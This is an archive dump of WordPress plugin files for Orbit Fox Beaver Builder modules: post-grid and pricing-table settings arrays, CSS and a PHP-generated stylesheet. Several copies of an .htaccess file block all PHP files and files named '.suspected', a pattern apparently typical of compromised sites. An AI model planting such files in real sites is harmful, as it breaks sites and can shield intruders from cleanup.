							'label'         => esc_html__( 'Enable thumbnail shadow', 'themeisle-companion' ),
							'default' => 'no',
						),
						'image_size' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Image size', 'themeisle-companion' ),
							'default' => 'medium_large',
							'options'       => $choices,

						),
						'image_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Image alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
							'toggle'        => array(
								'left'  => array(
									'fields'        => array('thumbnail_margin_left', 'thumbnail_margin_right'),
								),
								'right'  => array(
									'fields'        => array('thumbnail_margin_left', 'thumbnail_margin_right'),
								),
							),
						),
					),
				),
				'thumbnail_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 30,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-thumbnail',
						'field_name_prefix' => 'thumbnail_margin_',
						'type' => 'margin',
					)
				),
			),
		),
		'title_options' => array(
			'title' => esc_html__( 'Title options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_title' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post title', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_title_link'  => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Link on title', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'title_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Title alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),

						),
						'title_tag' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Title tag', 'themeisle-companion' ),
							'default' => 'h5',
							'options'       => array(
								'h1' => esc_html__( 'H1', 'themeisle-companion' ),
								'h2' => esc_html__( 'H2', 'themeisle-companion' ),
								'h3' => esc_html__( 'H3', 'themeisle-companion' ),
								'h4' => esc_html__( 'H4', 'themeisle-companion' ),
								'h5' => esc_html__( 'H5', 'themeisle-companion' ),
								'h6' => esc_html__( 'H6', 'themeisle-companion' ),
								'span' => esc_html__( 'span', 'themeisle-companion' ),
								'p' => esc_html__( 'p', 'themeisle-companion' ),
								'div' => esc_html__( 'div', 'themeisle-companion' ),
							),
						),
					),
				),
				'title_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-title',
						'field_name_prefix' => 'title_padding_',
						'type' => 'padding',
					)
				),
				'title_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'title_',
						'selector' => '.obfx-post-grid-title',
						'font_size_default' => 25,
					)
				),
			),
		),
		'meta_options' => array(
			'title' => esc_html__( 'Meta options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_meta' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post meta', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_icons' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show icons', 'themeisle-companion' ),
							'default' => 'yes',
							'help'          => esc_html__( 'If icons doesn\'t show you have to enqueue FontAwesome in your theme.', 'themeisle-companion' ),
						),
						'meta_data' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Display', 'themeisle-companion' ),
							'default'       => array('author', 'date'),
							'options'       => array(
								'author'      => esc_html__( 'Author', 'themeisle-companion' ),
								'date'      => esc_html__( 'Date', 'themeisle-companion' ),
								'category'      => esc_html__( 'Category', 'themeisle-companion' ),
								'tags'      => esc_html__( 'Tags', 'themeisle-companion' ),
								'comments'      => esc_html__( 'Comments', 'themeisle-companion' ),
							),
							'multi-select'  => true,
						),
						'meta_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Meta alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
				'meta_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-post-grid-meta',
						'field_name_prefix' => 'meta_padding_',
						'type' => 'padding',
					)
				),
				'meta_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'meta_',
						'selector' => '.obfx-post-grid-meta',
						'font_size_default' => 15,
					)
				),
			),
		),
		'content_options' => array(
			'title' => esc_html__( 'Content options', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_post_content' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show post content', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'show_read_more' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Show read more', 'themeisle-companion' ),
							'default' => 'yes',
						),
						'content_length' => array(
							'type'          => 'obfx_number',
							'label'         => esc_html__( 'Number of words', 'themeisle-companion' ),
							'default'       => '30',
							'min'       => '1',
						),
						'read_more_text' => array(
							'type'          => 'text',
							'label'         => esc_html__( 'Read more text', 'themeisle-companion' ),
							'default'       => esc_html__( 'Read more', 'themeisle-companion' ),
							'maxlength'     => '70',
							'size'          => '30',
							'preview'       => array(
								'type'          => 'text',
								'selector'      => '.obfx-post-grid-read-more',
							),
						),
						'content_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Text alignment', 'themeisle-companion' ),
							'default' => 'left',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),

						),
					),
				),
				'content_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 0,
							'bottom' => 0,
							'left' => 15,
							'right' => 15,
						),
						'selector' => '.obfx-post-content',
						'field_name_prefix' => 'content_padding_',
						'type' => 'padding',
					)
				),
				'content_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'content_',
						'selector' => '.obfx-post-content',
						'font_size_default' => 20,
					)
				),
			),
		),
		'pagination_options' => array(
			'title' => esc_html__( 'Pagination options', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => '',
					'fields' => array(
						'show_pagination' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Enable pagination', 'themeisle-companion' ),
						),
						'pagination_alignment' => array(
							'type'          => 'select',
							'label'         => esc_html__( 'Pagination alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options'       => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
				'pagination_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'pagination_',
						'selector' => '.obfx-post-grid-pagination',
						'font_size_default' => 20,
					)
				),
			),
		),
	)
);
post-grid/css/.htaccess000066600000000424151137207700011051 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>post-grid/css/frontend.css000066600000002252151137207700011605 0ustar00.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-post-grid-thumbnail.obfx-card {
	width: auto;
	margin: 10px;
	box-shadow: 4px 8px 59px -15px rgba(0,0,0,1);
}

.obfx-post-grid-wrapper {
	display: inline-block;
	padding: 0 10px;
	vertical-align: top;
}

.obfx-post-grid-meta i {
	padding-right: 5px;
}

.obfx-post-grid-meta > div {
	display: inline;
	word-wrap: initial;
}

.obfx-post-grid-meta > div:not(:last-child),
.obfx-category a:not(:last-child),
.obfx-tags a:not(:last-child) {
	padding-right: 5px;
}

.obfx-post-grid-meta > div:not(:last-child):after,
.obfx-category a:not(:last-child):after,
.obfx-tags a:not(:last-child):after {
	content: ",";
}

.obfx-category a:not(:last-child):after {
	content: ",";
}

.obfx-post-grid-pagination li {
	padding: 5px;
	vertical-align: bottom;
}

.obfx-post-grid-pagination li a {
	padding: 0;
	background: none;
}

.page-numbers {
	padding: 0;
	list-style: none;
}

.page-numbers li {
	display: inline-block;
}
pricing-table/pricing-table.php000066600000043354151137207700012535 0ustar00<?php
/**
 * Pricing table module.
 *
 * @package themeisle-companion
 */

// Get the module directory.
$module_directory = $this->get_dir();

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

/**
 * Class PricingTableModule
 */
class PricingTableModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Pricing table', 'themeisle-companion' ),
				'description'   => esc_html__( 'Pricing Tables are the perfect option when showcasing services you have on offer.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/pricing-table/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/pricing-table/',
				'editor_export' => true, // Defaults to true and can be omitted.
				'enabled'       => true, // Defaults to true and can be omitted.
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
FLBuilder::register_module(
	'PricingTableModule',
	array(
		'content' => array(
			'title' => esc_html__( 'Content', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'header' => array(
					'title'  => esc_html__( 'Plan Header', 'themeisle-companion' ),
					'fields' => array(
						'plan_title' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Title', 'themeisle-companion' ),
							'default' => esc_html__( 'Plan title', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-title',
							),
						),
						'plan_title_tag' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Title tag', 'themeisle-companion' ),
							'default' => 'h2',
							'options' => array(
								'h1' => esc_html__( 'h1', 'themeisle-companion' ),
								'h2' => esc_html__( 'h2', 'themeisle-companion' ),
								'h3' => esc_html__( 'h3', 'themeisle-companion' ),
								'h4' => esc_html__( 'h4', 'themeisle-companion' ),
								'h5' => esc_html__( 'h5', 'themeisle-companion' ),
								'h6' => esc_html__( 'h6', 'themeisle-companion' ),
								'p'  => esc_html__( 'p', 'themeisle-companion' ),
							),
						),
						'plan_subtitle' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Subtitle', 'themeisle-companion' ),
							'default' => esc_html__( 'Plan subtitle', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-subtitle',
							),
						),
						'plan_subtitle_tag' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Subtitle tag', 'themeisle-companion' ),
							'default' => 'p',
							'options' => array(
								'h1' => esc_html__( 'h1', 'themeisle-companion' ),
								'h2' => esc_html__( 'h2', 'themeisle-companion' ),
								'h3' => esc_html__( 'h3', 'themeisle-companion' ),
								'h4' => esc_html__( 'h4', 'themeisle-companion' ),
								'h5' => esc_html__( 'h5', 'themeisle-companion' ),
								'h6' => esc_html__( 'h6', 'themeisle-companion' ),
								'p'  => esc_html__( 'p', 'themeisle-companion' ),
							),
						),
					),
				),
				'price' => array(
					'title'  => esc_html__( 'Price Tag', 'themeisle-companion' ),
					'fields' => array(
						'price' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Price', 'themeisle-companion' ),
							'default' => '50',
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-price',
							),
						),
						'currency' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Currency', 'themeisle-companion' ),
							'default' => '$',
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-currency',
							),
						),
						'currency_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Currency position', 'themeisle-companion' ),
							'default' => 'after',
							'options' => array(
								'before' => esc_html__( 'Before', 'themeisle-companion' ),
								'after'  => esc_html__( 'After', 'themeisle-companion' ),
							),
						),
						'period' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Period', 'themeisle-companion' ),
							'default' => esc_html__( '/month', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-period',
							),
						),
					),
				),
				'features' => array(
					'title' => esc_html__( 'Features list', 'themeisle-companion' ),
					'fields' => array(
						'features' => array(
							'multiple' => true,
							'type'          => 'form',
							'label'         => esc_html__( 'Feature', 'themeisle-companion' ),
							'form'          => 'feature_field', // ID of a registered form.
							'preview_text'  => 'text', // ID of a field to use for the preview text.
						),
					),
				),
				'button' => array(
					'title' => esc_html__( 'Button', 'themeisle-companion' ),
					'fields' => array(
						'text' => array(
							'type'    => 'text',
							'label'   => esc_html__( 'Button text', 'themeisle-companion' ),
							'default' => esc_html__( 'Button', 'themeisle-companion' ),
							'preview' => array(
								'type'     => 'text',
								'selector' => '.obfx-plan-button',
							),
						),
						'link' => array(
							'type' => 'link',
							'label' => esc_html__( 'Button link', 'themeisle-companion' ),
						),
					),
				),
				'appearance' => array(
					'title' => esc_html__( 'Appearance', 'themeisle-companion' ),
					'fields' => array(
						'card_layout' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
							'default'       => 'yes',
						),
						'text_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Align', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'left'  => esc_html__( 'Left', 'themeisle-companion' ),
								'right'  => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
		'header_style' => array(
			'title' => esc_html__( 'Header Style', 'themeisle-companion' ),
			'sections' => array(
				'header_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-header',
						'field_name_prefix' => '',
					)
				),
				'colors' => array(
					'title'  => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'title_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Title color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header *:first-child',
										'property'     => 'color',
									),
								),
							),
						),
						'subtitle_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Subtitle color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header *:last-child',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'title_typography' => themeisle_typography_settings(
					array(
						'title' => esc_html__( 'Title typography', 'themeisle-companion' ),
						'prefix' => 'title_',
						'selector' => '.obfx-pricing-header *:first-child',
					)
				),
				'subtitle_typography' => themeisle_typography_settings(
					array(
						'title' => esc_html__( 'Subtitle typography', 'themeisle-companion' ),
						'prefix' => 'subtitle_',
						'selector' => '.obfx-pricing-header *:last-child',
					)
				),
				'header_background' => array(
					'title' => esc_html__( 'Background', 'themeisle-companion' ),
					'fields' => array(
						'bg_type' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Type', 'themeisle-companion' ),
							'default' => 'color',
							'options' => array(
								'color' => esc_html__( 'Color', 'themeisle-companion' ),
								'image' => esc_html__( 'Background', 'themeisle-companion' ),
								'gradient' => esc_html__( 'Gradient', 'themeisle-companion' ),
							),
							'toggle' => array(
								'color' => array(
									'fields' => array('header_bg_color'),
								),
								'image' => array(
									'fields' => array('header_bg_image'),
								),
								'gradient' => array(
									'fields' => array('gradient_color1', 'gradient_color2', 'gradient_orientation'),
								),
							),
						),
						'header_bg_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Background color', 'themeisle-companion' ),
							'show_reset'    => true,
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-pricing-header',
										'property'     => 'background-color',
									),
								),
							),
						),
						'header_bg_image' => array(
							'type'          => 'photo',
							'label'         => esc_html__( 'Photo Field', 'themeisle-companion' ),
							'show_remove'    => true,
						),
						'gradient_color1' => array(
							'type' => 'color',
							'label' => esc_html__( 'Gradient color 1', 'themeisle-companion' ),
							'show_reset'    => true,
						),
						'gradient_color2' => array(
							'type' => 'color',
							'label' => esc_html__( 'Gradient color 2', 'themeisle-companion' ),
							'show_reset'    => true,
						),
						'gradient_orientation' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Orientation', 'themeisle-companion' ),
							'default' => 'horizontal',
							'options' => array(
								'horizontal' => esc_html__( 'Horizontal', 'themeisle-companion' ),
								'vertical' => esc_html__( 'Vertical', 'themeisle-companion' ),
								'diagonal_bottom' => esc_html__( 'Diagonal bottom', 'themeisle-companion' ),
								'diagonal_top' => esc_html__( 'Diagonal top', 'themeisle-companion' ),
								'radial' => esc_html__( 'Radial', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
		'price_style' => array(
			'title' => esc_html__( 'Price Style', 'themeisle-companion' ),
			'sections' => array(
				'price_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-price',
						'field_name_prefix' => 'price_',
					)
				),
				'price_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'price_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Price color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-price',
										'property'     => 'color',
									),
								),
							),
						),
						'currency_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Currency color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-price sup',
										'property'     => 'color',
									),
								),
							),
						),
						'period_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Period color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-period',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'price_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'price_',
						'selector' => '.obfx-pricing-price',
						'font_size_default' => 40,
					)
				),
			),
		),
		'features_style' => array(
			'title' => esc_html__( 'Features Style', 'themeisle-companion' ),
			'sections' => array(
				'features_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-pricing-price',
						'field_name_prefix' => 'features_',
					)
				),
				'features_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'icon_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Icon color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content i',
										'property'     => 'color',
									),
								),
							),
						),
						'bold_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Bold text color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content strong',
										'property'     => 'color',
									),
								),
							),
						),
						'feature_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text color', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-pricing-feature-content:not(i):not(strong)',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'feature_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'feature_',
						'selector' => '.obfx-pricing-feature-content *',
						'font_size_default' => 17,
					)
				),
			),
		),
		'button_style' => array(
			'title' => esc_html__( 'Button Style', 'themeisle-companion' ),
			'sections' => array(
				'button_margins' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 15,
							'bottom' => 15,
							'left' => 0,
							'right' => 0,
						),
						'selector' => '.obfx-plan-bottom',
						'field_name_prefix' => 'button_margin_',
						'type' => 'margin',
					)
				),
				'button_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 6,
							'bottom' => 6,
							'left' => 12,
							'right' => 12,
						),
						'selector' => '.obfx-plan-button',
						'field_name_prefix' => 'button_padding_',
					)
				),
				'button_colors' => array(
					'title' => esc_html__( 'Colors', 'themeisle-companion' ),
					'fields' => array(
						'button_text_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button',
										'property'     => 'color',
									),
								),
							),
						),
						'button_text_color_hover' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Text on hover', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button:hover',
										'property'     => 'color',
									),
								),
							),
						),
						'button_bg_color' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Button background', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button',
										'property'     => 'background-color',
									),
								),
							),
						),
						'button_bg_color_hover' => array(
							'type'          => 'color',
							'label'         => esc_html__( 'Button background on hover', 'themeisle-companion' ),
							'preview'       => array(
								'type'          => 'css',
								'rules'           => array(
									array(
										'selector'     => '.obfx-plan-button:hover',
										'property'     => 'background-color',
									),
								),
							),
						),
					),
				),
				'button_typography' => themeisle_typography_settings(
					array(
						'prefix' => 'button_',
						'selector' => '.obfx-plan-button',
						'font_size_default' => 15,
					)
				),
			),
		),
	)
);


FLBuilder::register_settings_form(
	'feature_field',
	array(
		'title' => __( 'Feature', 'themeisle-companion' ),
		'tabs'  => array(
			'general'      => array(
				'title'         => esc_html__( 'General', 'themeisle-companion' ),
				'sections'      => array(
					'general'       => array(
						'title'         => '',
						'fields'        => array(
							'bold_text' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Bold text', 'themeisle-companion' ),
							),
							'text' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Text', 'themeisle-companion' ),
							),
							'icon' => array(
								'type'          => 'icon',
								'label'         => esc_html__( 'Icon', 'themeisle-companion' ),
								'show_remove'   => true,
							),
						),
					),
				),
			),
		),
	)
);
pricing-table/.htaccess000066600000000424151137207700011071 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>pricing-table/includes/.htaccess000066600000000424151137207700012677 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>pricing-table/includes/frontend.css.php000066600000041430151137207700014222 0ustar00<?php
$text_position = ! empty( $settings->text_position ) ? $settings->text_position : '';
if ( ! empty( $text_position ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-plan > div,.fl-node-' . $id . ' .obfx-pricing-plan li{';
	echo 'text-align:' . $text_position . ';';
	echo '}';
}

$padding_top = ! empty( $settings->top ) ? $settings->top : '';
$padding_bottom = ! empty( $settings->bottom ) ? $settings->bottom : '';
$padding_left = ! empty( $settings->left ) ? $settings->left : '';
$padding_right = ! empty( $settings->right ) ? $settings->right : '';
echo '.fl-node-' . $id . '.obfx-pricing-header{';
	echo ! empty( $padding_top ) ? 'padding-top: ' . $padding_top . 'px;' : '';
	echo ! empty( $padding_bottom ) ? 'padding-bottom: ' . $padding_bottom . 'px;' : '';
	echo ! empty( $padding_left ) ? 'padding-left: ' . $padding_left . 'px;' : '';
	echo ! empty( $padding_right ) ? 'padding-right: ' . $padding_right . 'px;' : '';

	$type = $settings->bg_type;
switch ( $type ) {
	case 'color':
		$bg_color = ! empty( $settings->header_bg_color ) ? $settings->header_bg_color : '';
		if ( ! empty( $bg_color ) ) {
			$bg_color = strpos( $bg_color, 'rgba' ) !== false ? 'background-color:' . $bg_color : 'background-color:#' . $bg_color;
			echo $bg_color . ';';
		}
		break;
	case 'image':
		$bg_image = ! empty( $settings->header_bg_image ) ? $settings->header_bg_image : '';
		if ( ! empty( $bg_image ) ) {
			echo 'background-image:url(' . wp_get_attachment_url( $bg_image ) . ');';
		}
		break;
	case 'gradient':
		$gradient_color1 = ! empty( $settings->gradient_color1 ) ? $settings->gradient_color1 : '';
		$gradient_color2 = ! empty( $settings->gradient_color2 ) ? $settings->gradient_color2 : '';
		$gradient_orientation = ! empty( $settings->gradient_orientation ) ? $settings->gradient_orientation : '';
		$pos1 = 'left';
		$pos2 = 'left';
		$pos3 = 'to right';
		switch ( $gradient_orientation ) {
			case 'vertical':
				$pos1 = 'top';
				$pos2 = 'to bottom';
				$type = 'linear-gradient';
				break;
			case 'diagonal_bottom':
				$pos1 = '-45deg';
				$pos2 = '135deg';
				$type = 'linear-gradient';
				break;
			case 'diagonal_top':
				$pos1 = '45deg';
				$pos2 = '45deg';
				$type = 'linear-gradient';
				break;
			case 'radial':
				$pos1 = 'center, ellipse cover';
				$pos2 = 'ellipse at center';
				$type = 'radial-gradient';
				break;
		}

		if ( ! empty( $gradient_color1 ) ) {
			$gradient_color1 = strpos( $gradient_color1, 'rgba' ) !== false ? $gradient_color1 : '#' . $gradient_color1;
			if ( ! empty( $gradient_color2 ) ) {
				$gradient_color2 = strpos( $gradient_color2, 'rgba' ) !== false ? $gradient_color2 : '#' . $gradient_color2;
				echo '
					background: -moz-' . esc_attr( $type ) . '(' . esc_attr( $pos1 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%); 
					background: -webkit-' . esc_attr( $type ) . '(' . esc_attr( $pos1 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%); 
					background: ' . esc_attr( $type ) . '(' . esc_attr( $pos2 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%);';
			} else {
				echo 'background-color:' . esc_attr( $gradient_color1 ) . ';';
			}
		}
		break;
}
echo '}';

$title_color = ! empty( $settings->title_color ) ? $settings->title_color : '';
if ( ! empty( $title_color ) ) {
	$title_color = strpos( $title_color, 'rgba' ) !== false ? $title_color : '#' . $title_color;
}
$title_font_size = ! empty( $settings->title_font_size ) ? $settings->title_font_size : '';
$title_font_family = ! empty( $settings->title_font_family['family'] ) ? $settings->title_font_family['family'] : '';
$title_font_weight = ! empty( $settings->title_font_family['weight'] ) ? $settings->title_font_family['weight'] : '';
$title_transform = ! empty( $settings->title_transform ) ? $settings->title_transform : '';
$title_font_style = ! empty( $settings->title_font_style ) ? $settings->title_font_style : '';
$title_line_height = ! empty( $settings->title_line_height ) ? $settings->title_line_height : '';
$title_letter_spacing = ! empty( $settings->title_letter_spacing ) ? $settings->title_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-header *:first-child{';
	echo ! empty( $title_color ) ? 'color: ' . $title_color . ';' : '';
	echo ! empty( $title_font_size ) ? 'font-size: ' . $title_font_size . 'px;' : '';
	echo ! empty( $title_font_family ) ? 'font-family: ' . $title_font_family . ';' : '';
	echo ! empty( $title_font_weight ) ? 'font-weight: ' . $title_font_weight . ';' : '';
	echo ! empty( $title_transform ) ? 'text-transform: ' . $title_transform . ';' : '';
	echo ! empty( $title_font_style ) ? 'font-style: ' . $title_font_style . ';' : '';
	echo ! empty( $title_line_height ) ? 'line-height: ' . $title_line_height . 'px;' : '';
	echo ! empty( $title_letter_spacing ) ? 'letter-spacing: ' . $title_letter_spacing . 'px;' : '';
echo '}';


$subtitle_color = ! empty( $settings->subtitle_color ) ? $settings->subtitle_color : '';
if ( ! empty( $subtitle_color ) ) {
	$subtitle_color = strpos( $subtitle_color, 'rgba' ) !== false ? $subtitle_color : '#' . $subtitle_color;
}
$subtitle_font_size = ! empty( $settings->subtitle_font_size ) ? $settings->subtitle_font_size : '';
$subtitle_font_family = ! empty( $settings->subtitle_font_family['family'] ) ? $settings->subtitle_font_family : '';
$subtitle_font_weight = ! empty( $settings->subtitle_font_family['weight'] ) ? $settings->subtitle_font_family : '';
$subtitle_transform = ! empty( $settings->subtitle_transform ) ? $settings->subtitle_transform : '';
$subtitle_font_style = ! empty( $settings->subtitle_font_style ) ? $settings->subtitle_font_style : '';
